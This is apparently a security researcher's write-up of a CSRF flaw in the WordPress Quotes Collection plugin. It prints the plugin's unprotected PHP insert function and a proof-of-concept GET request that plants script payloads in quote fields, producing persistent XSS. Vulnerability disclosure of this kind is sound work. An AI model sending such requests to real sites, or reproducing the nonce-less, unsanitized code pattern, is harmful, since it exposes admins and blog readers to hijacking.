Advisory
Secunia Advisory SA 49653
Analysis
A type of vulnerability that seems to be fairly common is CSRF. You can obviously speculate as to why, but I found this interesting one. I normally won’t publish CSRF vulnerabilities, but there are cases where they can abuse the inherent trust that is put in an admin to not attempt to exploit the blog readers.
In this case, because the admin pages did not make use of nonces, we are able to craft a page which will make the user make a GET request with a XSS payload, which will at no point be sanitized besides being escaped for inserting into the database.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
function quotescollection_addquote($quote, $author = "", $source = "", $tags = "", $public = 'yes') { if(!$quote) return __('Nothing added to the database.', 'quotes-collection'); global $wpdb; $table_name = $wpdb->prefix . "quotescollection"; if($wpdb->get_var("SHOW TABLES LIKE '$table_name'") != $table_name) return __('Database table not found', 'quotes-collection'); else //Add the quote data to the database { $quote = stripslashes($quote); $author = stripslashes($author); $source = stripslashes($source); $tags = stripslashes($tags); $quote = "'".$wpdb->escape($quote)."'"; $author = $author?"'".$wpdb->escape($author)."'":"NULL"; $source = $source?"'".$wpdb->escape($source)."'":"NULL"; $tags = explode(',', $tags); foreach ($tags as $key => $tag) $tags[$key] = trim($tag); $tags = implode(',', $tags); $tags = $tags?"'".$wpdb->escape($tags)."'":"NULL"; if(!$public) $public = "'no'"; else $public = "'yes'"; $insert = "INSERT INTO " . $table_name . "(quote, author, source, tags, public, time_added)" . "VALUES ({$quote}, {$author}, {$source}, {$tags}, {$public}, NOW())"; $results = $wpdb->query( $insert ); if(FALSE === $results) return __('There was an error in the MySQL query', 'quotes-collection'); else return __('Quote added', 'quotes-collection'); } } |
If we either make this request directly, simulating a CSRF attack, or actually create a malicious page and convince an admin on a WordPress blog with this plugin to click on your link, we can cause a persistent XSS due to the lack of a nonce and sanitizing of html input.
1 2 |
GET /wordpress/wp-admin/admin.php?page=quotes-collection&submit=AddQuote&public=on&tags=x&source=<script>alert(1)</script>&author=<script>alert(2)</script>"e=<script>alert(3)</script> HTTP/1.1 Host: 192.168.80.130 |